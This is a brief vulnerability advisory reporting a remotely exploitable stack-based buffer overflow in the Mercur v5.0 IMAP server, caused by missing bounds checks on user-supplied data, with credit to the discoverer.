  					Mercur v5.0 IMAP server is prone to a remotely exploitable
  				stack-based buffer overflow vulnerability. This issue is due
  				to a failure of the application to properly bounds check
  				user-supplied data prior to copying it to a fixed size memory buffer.
  				Credit to Tim Taylor for discover the vulnerability.
